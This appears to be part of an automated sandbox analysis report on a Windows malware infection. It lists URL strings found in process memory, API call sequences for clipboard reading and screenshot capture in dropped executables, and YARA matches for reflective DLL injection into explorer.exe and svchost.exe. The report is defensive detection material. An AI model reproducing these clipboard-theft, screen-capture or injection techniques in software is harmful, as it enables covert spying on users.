Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1527735841.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/dev/peps/pep-0205/
Source: 56C7.tmp.ctx.exe, 00000010.00000002.1550901647.0000026ABD7B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/download/releases/2.3/mro/.
Source: explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3869465979.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3086750323.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://account.activedirectory.
Source: explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://account.li
Source: explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://account.live-int
Source: explorer.exe, 00000005.00000002.3822099222.00000000089B8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1331938648.00000000089B8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3082261334.00000000089B8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2193186163.00000000089B8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppexe
Source: explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3869465979.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3086750323.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3869465979.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3086750323.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSdX
Source: 6148.tmp.ssg.exe, 00000011.00000000.1536966434.00000000007B2000.00000002.00000001.01000000.0000000B.sdmp, 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: explorer.exe, 00000005.00000000.1331938648.0000000008761000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3821436820.0000000008761000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000005.00000000.1331938648.0000000008632000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3821436820.0000000008632000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000005.00000000.1331938648.000000000866C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3821436820.000000000866C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=3B22F7CF85C14EF68AA6229BF5B3705E&timeOut=5000&oc
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1331938648.0000000008761000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3821436820.0000000008761000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000005.00000000.1331938648.000000000866C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3821436820.000000000866C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi
Source: explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3869465979.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3086750323.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://buy.live.com/
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark
Source: explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13pwi3
Source: explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13pwi3-dark
Source: explorer.exe, 00000005.00000000.1331938648.0000000008632000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3821436820.0000000008632000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: 56C7.tmp.ctx.exe, 00000010.00000003.1541380109.0000026ABBDA6000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000002.1550156579.0000026ABBDA7000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1538320870.0000026ABBD8B000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1541214933.0000026ABBD70000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1538320870.0000026ABBD75000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1540992398.0000026ABBD4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: 56C7.tmp.ctx.exe, 00000010.00000002.1550634163.0000026ABD6B0000.00000004.00001000.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1538320870.0000026ABBD75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: 56C7.tmp.ctx.exe, 00000010.00000003.1540992398.0000026ABBD4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: 56C7.tmp.ctx.exe, 00000010.00000003.1541380109.0000026ABBDA6000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000002.1550156579.0000026ABBDA7000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1538320870.0000026ABBD8B000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1541214933.0000026ABBD70000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1538320870.0000026ABBD75000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1540992398.0000026ABBD4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: 56C7.tmp.ctx.exe, 00000010.00000003.1541380109.0000026ABBDA6000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000002.1550156579.0000026ABBDA7000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1538320870.0000026ABBD8B000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1541214933.0000026ABBD70000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1538320870.0000026ABBD75000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1540992398.0000026ABBD4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15G9PH.img
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hHhh7.img
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyxkRJ.img
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzME7S.img
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
Source: explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.co
Source: explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://oloobe.officeapps
Source: explorer.exe, 00000005.00000003.3082261334.0000000008903000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2193186163.0000000008903000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3822099222.0000000008903000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1331938648.0000000008903000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3869465979.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3086750323.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://passwordreset.micros
Source: explorer.exe, 00000005.00000000.1348239607.000000000B9B0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3866809329.000000000B9B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comeer0
Source: explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3869465979.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3086750323.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://tip.passwordreset.microso
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3869465979.000000000BA75000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3086750323.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/EM0
Source: explorer.exe, 00000005.00000003.3084849985.00000000087FE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3822099222.00000000087FE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1331938648.00000000087FE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B344028000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34402C000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34402C000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/health/medical/mayo-clinic-minute-who-benefits-from-taking-statins/ar-AA1h
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/home-and-garden/10-vital-home-maintenance-tasks-you-ll-regret-if
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/realestate/my-husband-and-i-paid-off-our-mortgage-more-than-15-years
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/here-s-what-house-rules-say-about-trump-serving-as-speaker-o
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/vote-to-oust-mccarthy-is-a-warning-sign-for-democracy-schola
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/counterpoint-individual-parents-rights-do-not-translate-to-a-licen
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/pastor-of-atlanta-based-megachurch-faces-backlash-after-controv
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/ukraine-live-briefing-biden-does-worry-house-drama-will-impact-
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/best-cities-by-generation/

Source: C:\Windows\explorer.exe

Code function: 5_2_0C5C7DA0 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

5_2_0C5C7DA0

Source: C:\Windows\explorer.exe

Code function: 5_2_0C5C7DA0 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

5_2_0C5C7DA0

Source: C:\Windows\explorer.exe

Code function: 5_2_0C5C7BB0 OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

5_2_0C5C7BB0

Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe

Code function: 18_2_004B61F0 RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegQueryInfoKeyW,RegEnumValueA,RegCloseKey,GdiplusStartup,GetDC,RegGetValueA,RegGetValueA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,RegGetValueA,GetSystemMetrics,GetSystemMetrics,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,SelectObject,DeleteObject,DeleteObject,DeleteObject,ReleaseDC,GdipDisposeImage,GdiplusShutdown,GetUserNameA,LookupAccountNameA,GetSidIdentifierAuthority,GetSidSubAuthorityCount,GetSidSubAuthority,GetSidSubAuthority,

18_2_004B61F0

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.explorer.exe.c5b0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 5.3.explorer.exe.bf9b350.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 5.2.explorer.exe.aff0000.0.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 5.0.explorer.exe.aff0000.0.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 5.3.explorer.exe.bf9b350.2.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 2.2.svchost.exe.21c7ec7d000.0.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 5.2.explorer.exe.bf9b350.2.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 5.0.explorer.exe.aff0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 5.3.explorer.exe.bf9b350.5.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 2.2.svchost.exe.21c7ec7d000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 5.3.explorer.exe.bf9b350.0.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 5.2.explorer.exe.bf9b350.2.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
